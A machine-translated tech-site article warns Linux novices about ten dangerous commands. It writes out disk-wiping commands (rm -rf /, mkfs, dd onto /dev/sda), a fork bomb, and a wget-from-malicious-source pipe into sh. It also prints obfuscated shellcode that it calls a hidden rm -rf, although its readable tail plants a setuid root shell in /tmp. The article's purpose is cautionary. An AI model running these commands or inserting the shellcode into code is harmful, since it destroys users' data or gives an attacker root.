In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >
Share
Shulou(Shulou.com)06/01 Report--
Linux do not execute the 10 dangerous commands are which, many novices are not very clear about this, in order to help you solve this problem, the following small series will explain in detail for everyone, there are people who need this can learn, I hope you can gain something.
The Linux command line is useful, efficient, and fun, but sometimes dangerous, especially if you're not sure what you're doing. This article is not intended to provoke anger against Linux or the Linux command line. We just want you to realize that you should think twice before you execute certain commands. (Of course, the following commands are usually used under root authority to make stupid to the point of hopelessness; under general user status, only one acre of land is destroyed.)
1. rm -rf command
The rm -rf command is one of the fastest ways to delete folders and their contents. Just the slightest mistake or ignorance can lead to irrecoverable system failure. The following are some options for the rm command.
The rm command is commonly used to delete files under Linux.
The rm -r command recursively deletes folders, even empty ones. (Personally, I think this should be a mistake. From common sense, it should be "even non-empty folders")
The rm -f command deletes 'read-only files' without asking. Deleting a file under Linux doesn't care if the file is read-only, only if its parent directory has write permissions. Therefore, the parameter-f simply means that there is no need to delete confirmations one by one, but to delete them quietly. In addition, the original rm command actually did not delete the prompt, but the general distribution will add rm through the alias-i parameter to request deletion confirmation, and-f suppresses this prompt.)
rm -rf / : Forcefully deletes everything in the root directory. (That is to say, after deleting, there is nothing left...)
rm -rf *: Forcefully deletes all files in the current directory.
rm -rf . : Force deletion of the current folder and its subfolders.
From now on, be careful when you execute rm-rf commands. We can create an alias for rm -i in the ".bashrc" file for the command 'rm' to prevent accidents when deleting files with the command 'rm', which will require you to confirm each deletion request. Most distributions already do this, if not already do so, and be sure to think about what you are doing before using the-f argument! The translator himself has learned a lesson in blood and tears.)
2. :(){:|:&};: Command
This is an example of a fork bomb. This is done by defining a function called ':' that calls itself twice, once in the foreground and once in the background. It will repeat itself until the system crashes.
:(){:|:&};:
Oh? Are you sure you want to try? Don't experiment on the company's official server ~~
3. Command> /dev/sda
The above command writes the output of a command to block device/dev/sda. This operation replaces all data blocks in the block device with the original data that was commanded to be written, resulting in data loss for the entire block device.
4. mv folder/dev/null
This command moves a folder to/dev/null. In Linux, a/dev/null or null device is a special file where all data written to it is cleared and the write operation is returned successfully. (This is a black hole. Of course, to be clear, moving folders to black holes doesn't prevent data recovery software from redeeming them, so true total destruction requires specialized software or techniques-I know you must have something you want to delete cleanly.)
# mv /home/user/* /dev/null
The above command moves everything in the User directory to/dev/null, which means that everything is 'sucked' into a black hole (null).
5. wget http://malicious_source -O- | sh
The above command downloads a script from a (perhaps) malicious source and executes it. Wget downloads the script, and sh executes the downloaded script (unconditionally).
Note: You should always pay attention to the source of your download package or script. Use only those scripts/programs downloaded from trusted sources. So, do you really know what you're doing? When I meet this need, my approach is to wget it down first, then I read what it says, and then consider whether to implement it.)
6. mkfs.ext3 /dev/sda
The above command formats the block device 'sda', you no doubt know that after executing the above command your block device (hard drive) will be formatted, brand new! Without any data, your system reaches an irrecoverable stage. A device like/dev/sda is not usually used directly, except as a raw device, which generally requires splitting sda into partitions like sda1 and sda2. Of course, whether you use sda or sda1, mkfs on block devices or partitions is devastating, and the data on them will evaporate.)
7. > file
The commands listed above are often used to clear file contents. However, please confirm that the output file is empty or does not exist before execution, otherwise the original file can really not be restored-even data recovery software may not be able to help you. Also, I think you might really want to use ">>," which accumulates new output to a file rather than refreshing that file.) A command like "> xt.conf" will overwrite the configuration file or any other system configuration file if it is incorrectly or innocently entered when executed with the above.
8. ^foo^bar
This command is described in our Ten Little Known Linux Commands-Part 3, which is used to edit previously run commands without having to retype the entire command. But when using the foobar command if you don't thoroughly check the risks of changing the original command, this can lead to real trouble. In fact, this trick is one of the few useless and harmful "hacking" techniques left over from prehistoric times.
9. dd if=/dev/random of=/dev/sda
The above command erases data by writing random garbage files to the block device sda. Of course! Your system may fall into a chaotic and irrecoverable state. Remember when we said mv to black holes doesn't completely erase data? Then this command gives you a way to delete it completely! Of course, you can rewrite it several times just to be safe.)
10. hide the command
The following command is actually the first command above (rm -rf). The code here is hidden in hexadecimal, and an ignorant user could be fooled. Running the following command in the terminal may erase your root partition.
This command indicates that real danger is usually hidden and not easily detected. You have to be aware of what you're doing and what the consequences are. Do not compile/run code from unknown sources.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
"\x6e\x2f\x73\x68\x00\x2d\x63\x00″
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Note: Do not execute any of the above commands on Linux terminals or shells on your or your classmates 'or school computers. If you want to test them, run them on a virtual machine. The author of this article is not responsible for any disharmony or data loss due to running the above command which causes your system to crash.
Do you know these 10 Linux high-risk commands? Curious little friends must endure, system crash do not find us oh, thank you for reading, hope to help everyone.
Did reading the above help you? If you still want to have further understanding of related knowledge or read more related articles, please pay attention to the industry information channel, thank you for your support.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.